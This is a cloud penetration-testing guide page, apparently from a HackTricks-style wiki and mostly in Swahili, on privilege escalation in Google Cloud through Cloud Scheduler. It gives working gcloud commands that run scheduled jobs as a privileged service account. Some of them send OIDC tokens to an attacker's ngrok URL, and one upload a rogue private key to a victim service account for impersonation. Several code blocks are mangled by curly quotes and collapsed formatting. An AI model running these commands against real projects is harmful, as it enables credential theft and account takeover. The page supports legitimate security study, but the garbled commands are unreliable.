GCP - Cloud Scheduler Privesc

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Cloud Scheduler

More information in:

GCP - Cloud Scheduler Enum

`cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)

Mvamizi mwenye ruhusa hizi anaweza kutumia Cloud Scheduler kuidhinisha kazi za cron kama Service Account maalum. Kwa kutengeneza ombi la HTTP POST, mvamizi anapanga vitendo, kama kuunda Storage bucket, vitakavyotekelezwa chini ya utambulisho wa Service Account. Njia hii inatumia uwezo wa Scheduler kuilenga endpoints *.googleapis.com na kuidhinisha maombi, ikimruhusu mvamizi kudhibiti Google API endpoints moja kwa moja kwa kutumia amri rahisi ya gcloud.

Wasiliana na google API yoyote kupitia googleapis.com kwa OAuth token header

Create a new Storage bucket:

Unda job ya Cloud Scheduler ili kuunda GCS bucket kupitia API

```bash gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1 ```

Ili kuongeza mamlaka, mdukuzi anatengeneza tu ombi la HTTP linalolenga API inayotakiwa, akijinakilisha kama Service Account iliyoainishwa

Exfiltrate OIDC service account token

Tengeneza job ya Cloud Scheduler ili exfiltrate OIDC token

```bash gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']

Listen in the ngrok address to get the OIDC token in clear text.

</details>

Ikiwa unahitaji kukagua majibu ya HTTP unaweza tu **angalia logi za utekelezaji**.

### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)

Kama katika senario iliyopita, inawezekana **kusasisha scheduler iliyoundwa tayari** ili kuiba token au kufanya vitendo. Kwa mfano:

<details><summary>Sasisha kazi ya Cloud Scheduler iliyopo ili exfiltrate OIDC token</summary>
```bash
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']

# Listen in the ngrok address to get the OIDC token in clear text.

Mfano mwingine wa kupakia private key kwa Service Account (SA) na impersonate:

Pakia private key kwa Service Account kupitia Cloud Scheduler na impersonate

```bash # Generate local private key openssl req -x509 -nodes -newkey rsa:2048 -days 365 \ -keyout /tmp/private_key.pem \ -out /tmp/public_key.pem \ -subj "/CN=unused"

Remove last new line character of the public key

file_size=$(wc -c < /tmp/public_key.pem) new_size=$((file_size - 1)) truncate -s $new_size /tmp/public_key.pem

Update scheduler to upload the key to a SA

For macOS: REMOVE THE `-w 0` FROM THE BASE64 COMMAND

gcloud scheduler jobs update http scheduler_lab_1
–schedule=‘* * * * *’
–uri=“https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json”
–message-body=“{"publicKeyData": "$(cat /tmp/public_key.pem | base64 -w 0)"}”
–update-headers “Content-Type=application/json”
–location us-central1
–oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com

Wait 1 min

sleep 60

Check the logs to check it worked

gcloud logging read ‘resource.type=“cloud_scheduler_job” AND resource.labels.job_id=“scheduler_lab_1” AND resource.labels.location=“us-central1” jsonPayload.@type=“type.googleapis.com/google.cloud.scheduler.logging.AttemptFinished”’ –limit 10 –project –format=json

If any ‘“status”: 200’ it means it worked!

Note that this scheduler will be executed every minute and after a key has been created, all the other attempts to submit the same key will throw a: “status”: 400

Build the json to contact the SA

Get privatekey in json format

file_content=$(<“/tmp/private_key.pem”) private_key_json=$(jq -Rn –arg str “$file_content” ‘$str’)

Get ID of the generated key

gcloud iam service-accounts keys list –iam-account=victim@$PROJECT_ID.iam.gserviceaccount.com

Create the json in a file

NOTE that you need to export your project-id in the env var PROJECT_ID

and that this script is expecting the key ID to be the first one (check the `head`)

export PROJECT_ID=… cat > /tmp/lab.json <<EOF { “type”: “service_account”, “project_id”: “$PROJECT_ID”, “private_key_id”: “$(gcloud iam service-accounts keys list –iam-account=scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | cut -d “ “ -f 1 | grep -v KEY_ID | head -n 1)”, “private_key”: $private_key_json, “client_email”: “scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com”, “client_id”: “$(gcloud iam service-accounts describe scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d “’” -f 2)“, “auth_uri”: “https://accounts.google.com/o/oauth2/auth”, “token_uri”: “https://oauth2.googleapis.com/token”, “auth_provider_x509_cert_url”: “https://www.googleapis.com/oauth2/v1/certs”, “client_x509_cert_url”: “https://www.googleapis.com/robot/v1/metadata/x509/scheduler-lab-1-target%40$PROJECT_ID.iam.gserviceaccount.com”, “universe_domain”: “googleapis.com” } EOF

Activate the generated key

gcloud auth activate-service-account –key-file=/tmp/lab.json

</details>

## Marejeleo

- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

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